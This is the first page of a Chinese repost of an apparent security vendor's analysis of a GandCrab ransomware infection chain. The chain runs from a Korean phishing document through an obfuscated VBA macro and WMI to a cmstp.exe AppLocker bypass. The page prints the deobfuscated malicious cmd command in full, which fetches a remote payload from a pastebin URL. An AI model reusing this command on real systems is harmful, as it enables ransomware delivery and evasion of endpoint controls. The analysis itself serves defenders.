欢迎来到 黑吧安全网 聚焦网络安全前沿资讯,精华内容,交流技术心得!

勒索软件的“中流砥柱”:深入分析GandCrab新型Evasive感染链

来源:本站整理 作者:佚名 时间:2019-05-14 TAG: 我要投稿

一、摘要
在本文中,主要分析威胁行为者如何结合不同的逃避技术,最终确保勒索软件成功感染目标受害者。
1.1 攻击者所使用的技术
1. 将网络钓鱼电子邮件与武器化的恶意Office文档相结合,以便对目标计算机实现初始攻击。
2. 构建一个多阶段的无文件感染链,使用VBA代码、WMI对象和JavaScript来投放勒索软件。
3. 利用Living-Off-The-Land形式的二进制文件,绕过Windows AppLocker,并获取勒索软件Payload。
4. 从合法的在线文本共享服务中获取恶意Payload,在本例中为pastebin.com。
一旦攻击者成功攻击目标主机,可能会造成无法访问关键数据、组织内部大规模拒绝服务的后果,可能会直接导致公司的巨额财务损失,或者其他附带损害。此类攻击,特别是针对关键资产发起的成功攻击,其后果可能是灾难性的。
1.2 安全建议
1. 定期备份个人和公司终端上的重要信息,特别是服务器等关键终端。
2. 始终确保Windows和任何第三方软件都更新到最新版本,并且已经应用全部安全修补程序。
3. 不要支付赎金,因为这会助长勒索软件攻击者持续开展这种类型的攻击。在许多情况下,即使支付了赎金,也无法保证能成功恢复文件。此外,在某些情况下,数据可以通过临时恢复工具进行解密,但无法保证其可靠性。
4. 使用具有反勒索软件的安全产品,可以防范GandCrab及其他勒索软件的威胁。
二、背景
近期,Cybereason团队发现并阻止了GandCrab勒索软件针对位于日本的国际化公司的攻击活动。GandCrab是当前威胁领域中最流行的勒索软件之一。自2018年初,GandCrab出现以来,它一直在不断发展,并完善其传递方法以逃避检测。
Bitdefender预计,GandCrab勒索软件已经占据全球范围内勒索软件感染总数的40%。由此也可以看出,GandCrab正逐渐变得强大且有效。众所周知的是,恶意软件的作者正不断添加更为隐秘的新型传递机制以及适配性,采用迭代的方式快速更新GandCrab版本。攻击者通常不会针对明确的目标,而是在大范围“撒网”。尽管安全厂商已经针对此前大多数版本的GandCrab发布了解密工具和恢复工具,但我们此次所研究的最新版本暂时没有研究人员能成功对其解密,目前无法实现文件的恢复。
GandCrab之所以能成为如此流行的恶意软件,其原因之一是它遵守了“勒索软件即服务”(RaaS)的商业模式。这样一来,即使是没有较高技术实力的网络恶意组织都可以通过易于使用的平台来使用GandCrab基础架构,同时,GandCrab背后的恶意组织还提供全天候的在线支持。据估计,从2018年7月到10月之间,全世界约有500000名受害者感染了V4或V5版本的GandCrab。
cmd.exe派生的恶意软件进程:

三、使用韩文的网络钓鱼电子邮件分析
当用户无意打开网络钓鱼电子邮件中的恶意韩文文档时,攻击者的第一步就成功实现了。
下图为恶意文档의제.doc的截图(英文翻译:Agenda.doc):

随后,诱使用户点击“Enable Content”(启用内容),该内容将运行嵌入的宏代码。
의.doc(e4ac8fd735712e30c61cacb4e725b17a680d48ed):

3.1 恶意宏代码分析
嵌入在Office文档中的VBA代码已事先经过混淆,从而隐藏该代码的真正作用,并逃避检测。
下图为嵌入式VBA代码中的一部分:

该VBA代码使用不太常见的GotFocus事件,作为执行的触发器。
输出OLETools的olevba.py:

宏执行图表:

一旦触发了GotFocus事件,VBA代码就会解密多阶段的下载工具Payload,将会创建一个WMI对象(SWbemObjectEx),它使用经过另一层混淆后的命令,派生出cmd.exe实例。
用于运行WMI的宏代码,已经过混淆:

我们对上述代码进行了反混淆,得到代码如下:
GetObject("winmgmts:{impersonationLevel=impersonate,authenticationLevel=pktPrivacy}root\cimv2:Win32_Process")
 
SWbemObjectEx.Create("cmd /V /C set "G5=s" && !G5!et "G6=\" && !G5!et "G=e" && !G5!et "G22=i" && !G5!et "G7=A" && !G5!et "G2=N" && !G5!et "G21=d" && c!G7!ll !G5!et "G4=%!G7!PP!G21!!G7!T!G7!%" && c!G7!ll !G5!et "G75=%R!G7!!G2!!G21!OM%" && !G5!et "G03=!G4!!G6!M!G22!cro!G5!oft!G6!T!G!mplat!G!s!G6!!G75!.txt" && !G5!et "G9="^" && (For %i in ("[v!G!r!G5!ion]" "!G5!ignatur!G!=$Wi!G2!dow!G5! NT$" "[D!G!faultIn!G5!tall_Singl!G!U!G5!er]" "UnR!G!gi!G5!t!G!rOCXs=G54" "[G54]" "%11%\%G59_1%%G59_2%%G59_3%,NI,%G0_1%%G0_2%%G0_3%%G0_4%%G0_5%%G0_6%%G0_7%%G0_8%%G0_9%%G0_10%%G0_11%%G0_12%%G0_13%%G0_14%%G0_15%%G0_16%" "[!G5!tring!G5!]" "G0_1=ht" "G0_2=tp" "G0_3=:/" "G0_4=/p" "G0_5=as" "G0_6=te" "G0_7=bi" "G0_8=n." "G0_9=co" "G0_10=m/" "G0_11=ra" "G0_12=w/" "G0_13=kV" "G0_14=kC" "G0_15=4M" "G0_16=A3" "G59_2=rO" "G59_1=sC" "G59_3=bJ" ) do @echo %~i)>"!G03!" && echo !G5!erv!G22!ceNam!G!=!G9! !G9!>>!G03! && echo !G5!hortSvcN!G7!me=!G9! !G9!>>!G03! && c!G7!ll !G5!et "G19=%WI!G2!!G21!IR%" && !G5!t!G7!rt "" !G19!!G6!Sy!G5!t!G!m32!G6!cm!G5!tp.!G!x!G! /s /ns "!G03!"",,,) -> 0

[1] [2]  下一页

【声明】:黑吧安全网(http://www.myhack58.com)登载此文出于传递更多信息之目的,并不代表本站赞同其观点和对其真实性负责,仅适于网络安全技术爱好者学习研究使用,学习中请遵循国家相关法律法规。如有问题请联系我们,联系邮箱admin@myhack58.com,我们会在最短的时间内进行处理。
  • 最新更新
    • 相关阅读
      • 本类热门
        • 最近下载